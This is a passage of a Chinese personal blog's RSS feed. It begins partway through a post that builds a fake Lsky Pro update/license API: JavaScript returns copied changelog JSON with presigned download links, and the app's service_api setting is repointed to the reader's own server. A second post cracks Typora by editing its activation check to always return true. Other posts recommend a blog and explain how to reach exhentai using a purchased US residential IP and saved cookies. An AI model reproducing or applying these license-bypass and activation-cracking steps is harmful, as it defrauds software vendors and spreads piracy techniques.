\\u4fee\\u590d\\u4f7f\\u7528\\u4e03\\u725b\\u4e91\\u50a8\\u5b58\\u51fa\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u975e\\u7ba1\\u7406\\u5458\\u5bfc\\u822a\\u680f\\u4e5f\\u663e\\u793a\\u540e\\u53f0\\u5165\\u53e3\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u89d2\\u8272\\u7ec4\\u7f16\\u8f91\\u53ef\\u80fd\\u4f1a\\u53d6\\u6d88\\u6389\\u9ed8\\u8ba4\\u7ec4\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u7f16\\u8f91\\u80cc\\u666f\\u56fe\\u51fa\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u5b89\\u5168\\u68c0\\u6d4b\\u56fe\\u7247\\u8fdd\\u89c4\\u540e\\u56fe\\u7247\\u4f9d\\u65e7\\u4fdd\\u5b58\\u6210\\u529f\\u7684 bug\\n- \\u4fee\\u590d\\u767b\\u5f55\\u8d26\\u53f7\\u540e\uff0c\\u4e0a\\u4f20\\u9875\\u9762\\u7684\\u8bbe\\u7f6e\\u4e2d\\u4f9d\\u65e7\\u9009\\u62e9\\u7684\\u662f\\u6e38\\u5ba2\\u50a8\\u5b58\\u7684 bug\\n- \\u4fee\\u590d\\u65e0\\u6cd5\\u76f4\\u63a5\\u901a\\u8fc7\\u540e\\u53f0\\u5728\\u7ebf\\u5347\\u7ea7\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-03-17&quot;,&quot;milestone&quot;:&quot;beta&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.6.250317_beta.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=ebcdfc3ed7ea9efe75e843d5d2424bc1bbad000c7bfacc3f25cac6234a25a288&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.5 \\u516c\\u6d4b\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.5.250218_beta&quot;,&quot;changelog&quot;:&quot;### \\u6539\\u8fdb\\n- \\u6539\\u8fdb\\u6837\\u5f0f\\n- \\u6539\\u8fdb\\u5e7f\\u573a\\u548c\\u5206\\u4eab\\u56fe\\u7247\\u5217\\u8868\\u7684\\u663e\\u793a\\u5927\\u5c0f\\n- \\u6539\\u8fdb\\u8fc1\\u79fb\\u811a\\u672c\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u540e\\u53f0\\u56fe\\u7247\\u8be6\\u60c5\\u7684\\u56fe\\u7247\\u9884\\u89c8\\u6ea2\\u51fa\\u7684bug\\n- \\u4fee\\u590d\\u6ce8\\u518c\\u9875\\u9762\\u63d0\\u793a name \\u4e0d\\u80fd\\u4e3a\\u7a7a\\u7684 bug\\n- \\u4fee\\u590d\\u81ea\\u5b9a\\u4e49\\u7528\\u6237\\u7ec4\\u540e\uff0c\\u9996\\u9875\\u663e\\u793a\\u7528\\u6237\\u7ec4\\u9519\\u8bef\\u7684 bug\\n- \\u4fee\\u590d\\u5bb9\\u91cf\\u5957\\u9910\\u8fc7\\u671f\\u540e\uff0c\\u5de6\\u4e0b\\u89d2\\u5bb9\\u91cf\\u7edf\\u8ba1\\u672a\\u66f4\\u65b0\\u7684 bug\\n- \\u4fee\\u590d\\u5bfc\\u822a\\u680f\\u5207\\u6362\\u8bed\\u8a00\\u5237\\u65b0\\u540e\\u5931\\u6548\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-02-18&quot;,&quot;milestone&quot;:&quot;beta&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.5.250218_beta.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=0627ad09cec2aac2dac4ef885e506a352ba173fc52a965b0b7dfa20293f113e3&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.4 \\u516c\\u6d4b\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.4.241227_beta&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u81ea\\u5b9a\\u4e49 tokens\uff0c\\u53ef\\u89c6\\u5316\\u7ba1\\u7406\\n\\n### \\u6539\\u8fdb\\n- \\u89e3\\u51b3\\u524d\\u7aef\\u7ec4\\u4ef6\\u547d\\u540d\\u51b2\\u7a81\\n- \\u79fb\\u9664 ide-helper\\n- \\u66ff\\u6362\\u7cfb\\u7edf\\u914d\\u7f6e\\u83b7\\u53d6\\u65b9\\u6cd5(laravel-settings)\\n- \\u53bb\\u9664\\u540e\\u53f0\\u5207\\u6362\\u8c03\\u8bd5\\u6a21\\u5f0f\\u6309\\u94ae\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u6570\\u636e\\u65e0\\u6cd5\\u8fc1\\u79fb\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u4fee\\u6539\\u7528\\u6237\\u89d2\\u8272\\u7ec4\\u4f1a\\u4f7f\\u7528\\u6237\\u51fa\\u73b0\\u591a\\u4e2a\\u7cfb\\u7edf\\u89d2\\u8272\\u7ec4\\u7684 bug\\n- \\u4fee\\u590d Epay usdt \\u652f\\u4ed8\\u65b9\\u5f0f\\u4e0d\\u663e\\u793a\\u7684 bug\\n- \\u4fee\\u590d\\u5b89\\u88c5\\u811a\\u672c\\u627e\\u4e0d\\u5230 php \\u547d\\u4ee4\\u7684 bug\\n- \\u4fee\\u590d\\u4f18\\u60e0\\u5238\\u53ef\\u91cd\\u590d\\u4f7f\\u7528\\u7684 bug\\n- \\u4fee\\u590d\\u5957\\u9910\\u8bbe\\u7f6e\\u4e86\\u5bb9\\u91cf\\u4f1a\\u51fa\\u73b0\\u65e0\\u6cd5\\u652f\\u4ed8\\u56de\\u8c03\\u5904\\u7406\\u5931\\u8d25\\u7684 bug\\n- \\u4fee\\u590d\\u8ba2\\u5355\\u4f7f\\u7528\\u4f18\\u60e0\\u5238\\u540e\uff0c\\u4f18\\u60e0\\u5238\\u5df2\\u4f7f\\u7528\\u6b21\\u6570\\u672a\\u589e\\u52a0\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u8ba2\\u5355\\u91d1\\u989d\\u7edf\\u8ba1\\u4e0d\\u6b63\\u786e\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2024-12-27&quot;,&quot;milestone&quot;:&quot;beta&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.4.241227_beta.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=8fceac828649f238156795c7088987b3f82c872b5c150118d7901f29df095131&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.3 \\u516c\\u6d4b\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.3.241214_beta&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u652f\\u6301\\u6613\\u652f\\u4ed8 V2 \\u7248\\u672c\\n- \\u591a\\u8d27\\u5e01\\u652f\\u6301\\n- \\u540e\\u53f0\\u7ba1\\u7406\\u56fd\\u9645\\u5316\\n- \\u524d\\u7aef\\u56fd\\u9645\\u5316\\n- \\u589e\\u52a0\\u9996\\u9875\\u3001\\u6388\\u6743\\u9875\\u9762\\u9ed8\\u8ba4\\u80cc\\u666f\\u56fe\\n\\n### \\u6539\\u8fdb\\n- \\u91cd\\u65b0\\u8bbe\\u8ba1\\u652f\\u4ed8\\u7cfb\\u7edf\\n- \\u5b8c\\u5584 404 \\u9875\\u9762\\n- \\u6539\\u8fdb docker \\u90e8\\u7f72\\u65b9\\u5f0f\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u8fc1\\u79fb\\u811a\\u672c\\u6ca1\\u6709\\u7b56\\u7565\\u7684\\u56fe\\u7247\\u8fc1\\u79fb\\u4f1a\\u51fa\\u73b0\\u5931\\u8d25\\u7684 bug\\n- \\u4fee\\u590d\\u672a\\u9009\\u62e9\\u89d2\\u8272\\u7ec4\\u7684\\u5957\\u9910\\u652f\\u4ed8\\u51fa\\u73b0\\u5931\\u8d25\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2024-12-14&quot;,&quot;milestone&quot;:&quot;beta&quot;,&quot;download_url&quot;:null},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.1 \\u5185\\u6d4b\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.1.241130_alpha&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u540e\\u53f0\\u589e\\u52a0\\u9996\\u9875\\u5feb\\u6377\\u5165\\u53e3\\n- \\u589e\\u52a0\\u5b89\\u88c5\\u811a\\u672c\\n- \\u9002\\u914d mysql 5.7\\n- \\u4e91\\u5904\\u7406\\u652f\\u6301\\u8bbe\\u7f6e\\u9884\\u8bbe\\u7248\\u672c\\n- \\u4e91\\u5904\\u7406\\u652f\\u6301\\u5b9a\\u4e49\\u53ef\\u4f7f\\u7528\\u7684\\u53c2\\u6570\\n\\n### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u6837\\u5f0f\\n- \\u56fe\\u7247\\u5904\\u7406\\u5b8c\\u540e\\u53ca\\u65f6\\u91ca\\u653e\\u5185\\u5b58\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u7528\\u6237\\u65e0\\u6cd5\\u6ce8\\u518c\\u7684 bug\\n- \\u4fee\\u590d\\u9664\\u672c\\u5730\\u50a8\\u5b58\\u4ee5\\u5916\\u7684\\u50a8\\u5b58\\u65e0\\u6cd5\\u521b\\u5efa\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2024-11-30&quot;,&quot;milestone&quot;:&quot;alpha&quot;,&quot;download_url&quot;:null},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.0 \\u5185\\u6d4b\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.0.241117_alpha&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u56fe\\u7247\\u7ba1\\u7406\\u652f\\u6301\\u53f3\\u952e\\u64cd\\u4f5c\\n- \\u7ba1\\u7406\\u5458\\u524d\\u7aef\\u652f\\u6301\\u663e\\u793a\\u540e\\u53f0\\u7ba1\\u7406\\u5165\\u53e3\\n- \\u589e\\u52a0\\u8fdd\\u89c4\\u56fe\\u7247\\u8f6c\\u79fb\\u76ee\\u5f55\\u529f\\u80fd\\n- \\u6539\\u8fdb\\u540e\\u53f0\\u56fe\\u7247\\u8be6\\u60c5\\u6837\\u5f0f\\n- \\u5ba1\\u6838\\u9a71\\u52a8\\u652f\\u6301\\u540c\\u6b65\\u5ba1\\u6838\\n- \\u65b0\\u589e\\u56fe\\u7247\\u5904\\u7406\\u5668\uff0c\\u5e76\\u652f\\u6301\\u540c\\u6b65\\u5904\\u7406\\u56fe\\u7247\\n\\n### \\u4f18\\u5316\\n- \\u4f18\\u5316\\u540e\\u53f0\\u63a7\\u5236\\u53f0\\u56fe\\u8868\\u663e\\u793a\\n- \\u589e\\u52a0\\u7b26\\u53f7\\u94fe\\u63a5\\u76f8\\u5173\\u51fd\\u6570\\u7684\\u5b89\\u88c5\\u9a8c\\u8bc1\\n- \\u50a8\\u5b58\\u9a71\\u52a8\\u652f\\u6301\\u76f4\\u63a5\\u521b\\u5efa\\u6839\\u76ee\\u5f55\\u3001\\u4e91\\u50a8\\u5b58\\u76ee\\u5f55\\n- \\u6539\\u8fdb\\u540e\\u53f0\\u7528\\u6237\\u521b\\u5efa\\u4e0e\\u7f16\\u8f91\\n- \\u6539\\u8fdb\\u524d\\u7aef\\u5de5\\u7a0b\\u6253\\u5305\\u811a\\u672c\\n- \\u6539\\u8fdb\\u6587\\u672c\\u590d\\u5236\\u65b9\\u6cd5\\n- \\u5c06\\u6dfb\\u52a0\\u6807\\u7b7e\\u529f\\u80fd\\u79fb\\u52a8\\u5230\\u7f16\\u8f91\\u5f39\\u7a97\\u4e2d\\n- \\u4e0a\\u4f20\\u7ec4\\u4ef6\\u8fd4\\u56de\\u94fe\\u63a5\\u540e\uff0c\\u540c\\u65f6\\u663e\\u793a\\u5bf9\\u5e94\\u7684\\u56fe\\u7247\\n- \\u5c06\\u50a8\\u5b58\\u9a71\\u52a8\\u548c\\u4e91\\u5904\\u7406\\u72ec\\u7acb\\u5206\\u5f00\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u89d2\\u8272\\u7ec4\\u65e0\\u6cd5\\u521b\\u5efa\\u7684 bug\\n- \\u4fee\\u590d\\u7528\\u6237\\u7ba1\\u7406\\u65e0\\u6cd5\\u4fee\\u6539\\u624b\\u673a\\u53f7\\u7684 bug\\n- \\u4fee\\u590d\\u521b\\u5efa\\u5206\\u4eab\\u672a\\u8bbe\\u7f6e\\u5bc6\\u7801\\u4f1a\\u51fa\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u5206\\u4eab\\u5185\\u5bb9\\u4e0d\\u663e\\u793a\\u7684 bug\\n- \\u4fee\\u590d\\u5206\\u4eab\\u5185\\u5bb9\\u7684\\u7528\\u6237\\u5934\\u50cf\\u4e0d\\u663e\\u793a\\u7684 bug\\n- \\u4fee\\u590d 0 \\u5143\\u8ba2\\u5355\\u65e0\\u6cd5\\u76f4\\u63a5\\u652f\\u4ed8\\u7684 bug\\n- \\u4fee\\u590d\\u9996\\u9875\\u5bb9\\u91cf\\u663e\\u793a\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- \\u4fee\\u590d\\u9a8c\\u8bc1\\u90ae\\u7bb1\\u65f6\uff0c\\u63d0\\u793a\\u90ae\\u7bb1\\u683c\\u5f0f\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- \\u4fee\\u590d\\u9a8c\\u8bc1\\u624b\\u673a\\u53f7\\u65f6\uff0c\\u63d0\\u793a\\u624b\\u673a\\u53f7\\u683c\\u5f0f\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- \\u4fee\\u590d\\u8bbf\\u95ee\\u9996\\u9875\uff0c\\u63a7\\u5236\\u53f0\\u663e\\u793a CryptoJS \\u5f15\\u5165\\u9519\\u8bef\\u7684 bug\\n- \\u4fee\\u590d\\u8ba2\\u5355\\u652f\\u4ed8\\u540e\uff0c\\u72b6\\u6001\\u6ca1\\u6709\\u53d8\\u66f4\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u7f16\\u8f91\\u5f39\\u7a97\uff0c\\u663e\\u793a\\u5185\\u5bb9\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- \\u4fee\\u590d\\u90ae\\u4ef6\\u65e0\\u6cd5\\u53d1\\u9001\\u7684 bug\\n- \\u4fee\\u590d\\u521b\\u5efa\\u9875\\u9762\\u65f6\\u6807\\u9898\\u62a5\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u4fa7\\u8fb9\\u680f\\u8fdb\\u5ea6\\u6761\\u663e\\u793a\\u4e0d\\u6b63\\u786e\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2024-11-17&quot;,&quot;milestone&quot;:&quot;alpha&quot;,&quot;download_url&quot;:null},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.0.1 \\u5185\\u6d4b\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.0.1.241108_alpha&quot;,&quot;changelog&quot;:&quot;&amp;gt; \\u5168\\u65b0\\u7248\\u672c\uff0c\\u5168\\u65b0\\u67b6\\u6784\\u3002V2 \\u7248\\u672c\\u662f\\u4e00\\u4e2a\\u5168\\u65b0\\u7684\\u4f7f\\u7528\\u524d\\u540e\\u7aef\\u5206\\u79bb\\u67b6\\u6784\\u5b8c\\u5168\\u91cd\\u5199\\u7684\\u7cfb\\u7edf\uff0c\\u4e3b\\u8981\\u6280\\u672f\\u6808\\u4f7f\\u7528 &amp;lt;a target=\\&quot;__blank\\&quot; href=\\&quot;https:\\/\\/laravel.com\\&quot;&amp;gt;Laravel 11&amp;lt;\\/a&amp;gt; + &amp;lt;a target=\\&quot;__blank\\&quot; href=\\&quot;https:\\/\\/cn.vuejs.org\\&quot;&amp;gt;Vue 3&amp;lt;\\/a&amp;gt;\uff0c\\u4e0e\\u65e7\\u7248\\u672c\\u5bf9\\u6bd4\\u5b58\\u5728\\u5de8\\u5927\\u5dee\\u5f02\uff0c\\u8bf7\\u52ff\\u7528\\u4e8e\\u751f\\u4ea7\\u73af\\u5883\uff01\\n\\n- \\u4f7f\\u7528 &amp;lt;a target=\\&quot;__blank\\&quot; href=\\&quot;https:\\/\\/filamentphp.com\\&quot;&amp;gt;filamentphp&amp;lt;\\/a&amp;gt; \\u5b9e\\u73b0\\u540e\\u53f0\\u7ba1\\u7406\\u529f\\u80fd\\n- \\u4f7f\\u7528 &amp;lt;a target=\\&quot;__blank\\&quot; href=\\&quot;https:\\/\\/glide.thephpleague.com\\&quot;&amp;gt;Glide&amp;lt;\\/a&amp;gt; \\u5b9e\\u73b0\\u56fe\\u7247\\u4e91\\u5904\\u7406\\u529f\\u80fd\\n- \\u4f7f\\u7528 &amp;lt;a target=\\&quot;__blank\\&quot; href=\\&quot;https:\\/\\/uppy.io\\&quot;&amp;gt;Uppy.js&amp;lt;\\/a&amp;gt; \\u5b9e\\u73b0\\u4e0a\\u4f20\\u9875\\u9762\uff0c\\u66f4\\u5177\\u53ef\\u9760\\u6027\\n- \\u652f\\u6301 Docker \\u90e8\\u7f72(\\u5b9e\\u9a8c\\u6027)\\n- \\u652f\\u6301 Smtp\\u3001Mailgun\\u3001Postmark\\u3001Ses \\u56db\\u79cd\\u90ae\\u4ef6\\u53d1\\u9001\\u9a71\\u52a8\\n- \\u652f\\u6301 \\u672c\\u5730\\u3001AWS S3\\u3001\\u963f\\u91cc\\u4e91 OSS\\u3001\\u817e\\u8baf\\u4e91 COS\\u3001\\u4e03\\u725b\\u4e91 Kodo\\u3001\\u53c8\\u62cd\\u4e91 USS\\u3001Sftp\\u3001Ftp\\u3001Webdav \\u50a8\\u5b58\\u9a71\\u52a8\\n- \\u652f\\u6301 \\u7528\\u6237\\u624b\\u673a\\u53f7\\u7ed1\\u5b9a\\u3001\\u767b\\u5f55\\u3001\\u627e\\u56de\\u5bc6\\u7801\\n- \\u652f\\u6301 \\u817e\\u8baf\\u4e91 SMS\\u3001Ucloud\\u3001\\u4e03\\u725b\\u4e91\\u3001SendCloud\\u3001\\u963f\\u91cc\\u4e91\\u3001\\u4e91\\u7247\\u3001Submail\\u3001\\u87ba\\u4e1d\\u5e3d\\u3001\\u5bb9\\u8054\\u4e91\\u901a\\u8baf\\u3001\\u7b49\\u591a\\u8fbe 30+ \\u7684\\u77ed\\u4fe1\\u7f51\\u5173\\n- \\u652f\\u6301 \\u652f\\u4ed8\\u5b9d\\u3001\\u5fae\\u4fe1\\u3001Paypal \\u4e09\\u79cd\\u652f\\u4ed8\\u9a71\\u52a8\\n- \\u652f\\u6301 \\u963f\\u91cc\\u4e91\\u5185\\u5bb9\\u5b89\\u5168 1.0\\u3001\\u963f\\u91cc\\u4e91\\u5185\\u5bb9\\u5b89\\u5168\\u589e\\u5f3a\\u7248\\u3001\\u817e\\u8baf\\u4e91\\u5185\\u5bb9\\u5b89\\u5168\\u3001Nsfw JS\\u3001ModerateContent \\u56db\\u79cd\\u56fe\\u7247\\u5ba1\\u6838\\u9a71\\u52a8\\n- \\u652f\\u6301 QQ\\u3001Github \\u7b2c\\u4e09\\u65b9\\u6388\\u6743\\u767b\\u5f55\\u9a71\\u52a8\\n- \\u652f\\u6301 \\u6df1\\u8272\\/\\u6d45\\u8272\\u4e3b\\u9898\\u3001\\u9002\\u914d\\u4e09\\u65b9\\u4e3b\\u9898\\n- \\u652f\\u6301 \\u5bc6\\u7801\\u5206\\u4eab(\\u5355\\u4e2a\\u76f8\\u518c\\u3001\\u591a\\u4e2a\\u56fe\\u7247)\\n- \\u6570\\u636e\\u5e93\\u9ed8\\u8ba4\\u4f7f\\u7528 sqlite\uff0credis \\u6539\\u4e3a\\u53ef\\u9009\\u914d\\u7f6e\\u9879\uff0c\\u53d6\\u6d88\\u8ba1\\u5212\\u4efb\\u52a1\\u914d\\u7f6e\\n- \\u4f1a\\u5458\\u5957\\u9910\\u3001\\u5bb9\\u91cf\\u5957\\u9910\\u5206\\u5f00\\u8bbe\\u7f6e\uff0c\\u8d2d\\u4e70\\u7684\\u5957\\u9910\\u652f\\u6301\\u5220\\u9664\\n- \\u7cfb\\u7edf\\u652f\\u6301\\u7684\\u56fe\\u7247\\u683c\\u5f0f\\u7531 ImageImagick \\u5e93\\u51b3\\u5b9a&quot;,&quot;pushed_at&quot;:&quot;2024-11-08&quot;,&quot;milestone&quot;:&quot;alpha&quot;,&quot;download_url&quot;:null}]`;
const headers = new Headers({
&apos;Content-Type&apos;: &apos;application/json&apos;,
&apos;Content-Length&apos;: &apos;30872&apos;,
&apos;Strict-Transport-Security&apos;: &apos;max-age=31536000&apos;,
&apos;Alt-Svc&apos;: &apos;h3=&quot;:443&quot;; ma=86400&apos;,
&apos;Vary&apos;: &apos;Accept-Encoding&apos;,
&apos;Cache-Control&apos;: &apos;max-age=0, must-revalidate, no-cache, no-store, private&apos;,
&apos;Pragma&apos;: &apos;no-cache&apos;,
&apos;Expires&apos;: &apos;Fri, 01 Jan 1990 00:00:00 GMT&apos;,
&apos;Access-Control-Allow-Origin&apos;: &apos;*&apos;,
&apos;X-Cache&apos;: &apos;MISS&apos;,
&apos;Server&apos;: &apos;WAFPRO&apos;
});
// 使用当前日期作为响应日期
const currentDate = new Date().toUTCString();
headers.set(&apos;Date&apos;, currentDate);
return new Response(jsonContent, {
status: 200,
statusText: &apos;OK&apos;,
headers: headers
});
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;自建结束后将 &lt;code&gt;config/app.php&lt;/code&gt; 内的 &lt;code&gt;服务接口地址&lt;/code&gt; 改为你的。就不需要每次安装都手动改响应包了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    /**
     * 服务接口地址
     */
    &apos;service_api&apos; =&amp;gt; env(&apos;APP_SERVICE_API&apos;, &apos;https://huohuastudio.com&apos;),
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Typora免付费激活</title><link>https://blog.acofork.com/posts/hack-typora/</link><guid isPermaLink="true">https://blog.acofork.com/posts/hack-typora/</guid><description>Typora是一个简洁易用的MarkDown编辑器不想交钱改几行文件就破解</description><pubDate>Fri, 15 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;进入 &lt;a href=&quot;https://typoraio.cn/&quot;&gt;Typora 官方中文站&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载并安装,假设你的安装路径为 &lt;code&gt;D:/App/Typora&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;关闭所有Typora相关进程&lt;/p&gt;
&lt;p&gt;用VSCode打开 &lt;code&gt;D:/App/Typora&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;全局搜索,将&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;e.hasActivated=&quot;true&quot;==e.hasActivated
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;改为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;e.hasActivated=&quot;true&quot;==“true”
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开 Typora已激活&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-20-21-08-22-image.CcCGxapD.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>atpx.com 一个有趣的神秘博客</title><link>https://blog.acofork.com/posts/atpx-fun-blog/</link><guid isPermaLink="true">https://blog.acofork.com/posts/atpx-fun-blog/</guid><description>今天在床上打滚突然找到一个神秘博客,还挺有意思的</description><pubDate>Wed, 13 Aug 2025 18:41:24 GMT</pubDate><content:encoded>&lt;p&gt;今天偶然找到一个神秘博客,还挺有意思的,于是捐了 100 CNY&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-13-18-48-58-e042214c625c78682e337f4863bdcb20.BD1yvVeC.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至于是咋找到这个博客的?&lt;/p&gt;
&lt;p&gt;请看VCR&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-13-18-50-12-image.CNQMRtYz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我就发现了这个宝藏博客&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-13-18-50-48-image.BOkGKVAx.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也许是封面图比较吸引人又或是文章内容行云流水十分丰富?&lt;/p&gt;
&lt;p&gt;我不知道,总之我看了下去&lt;/p&gt;
&lt;p&gt;陆陆续续读了不少&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-13-18-51-51-image.DId_rPSR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后发现作者在当前的版本已经完全删除了JavaScript &lt;s&gt;我有一个朋友天天说HTML表单能替代JS&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;也算是引起了共鸣吧&lt;/p&gt;
&lt;p&gt;于情于理都得支持一下&lt;/p&gt;
&lt;p&gt;就到这,我也不知道该写啥了,我是一个喜欢直来直去的人,真文艺不起来了&lt;/p&gt;
</content:encoded></item><item><title>手把手教你进入e站里站exhentai.org</title><link>https://blog.acofork.com/posts/exhentai/</link><guid isPermaLink="true">https://blog.acofork.com/posts/exhentai/</guid><description>上周也是突然想到e站这个神奇的网站但是2年的账号居然进不了里站这里总结一些进里站的心路历程~</description><pubDate>Tue, 12 Aug 2025 19:10:40 GMT</pubDate><content:encoded>&lt;h1&gt;前期准备&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;欧美家宽IP。可以前往 https://2x.nz/ak 买一个&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-12-19-24-21-image.BAwoODIE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;挂上你的美国家宽梯子&lt;/p&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://forums.e-hentai.org/&quot;&gt;E-Hentai Forums&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击 &lt;code&gt;Register&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-12-19-26-33-image.0O52IIC9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注册邮箱使用 &lt;code&gt;gmail.com&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;exhentai能不能进是账号创建的时候就决定的一定要让平台认为你是美国家宽用户&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注册完毕后等大约一周(我是 2025-08-03注册的2025-08-12已经可以进了期间想干什么就干什么&lt;/p&gt;
&lt;p&gt;一周之后,使用 &lt;strong&gt;浏览器的无痕模式+英语界面&lt;/strong&gt; 再次进入 &lt;a href=&quot;https://forums.e-hentai.org/&quot;&gt;E-Hentai Forums&lt;/a&gt; 登录&lt;/p&gt;
&lt;p&gt;然后前往 https://exhentai.org/&lt;/p&gt;
&lt;p&gt;不出意外,成功进来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-12-19-29-10-image.DJqFUm-r.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来F12打开控制台&lt;/p&gt;
&lt;p&gt;保存Ck以便日后登录就无需那个傻逼美国家宽了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-12-19-30-42-image.acNmJqd_.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
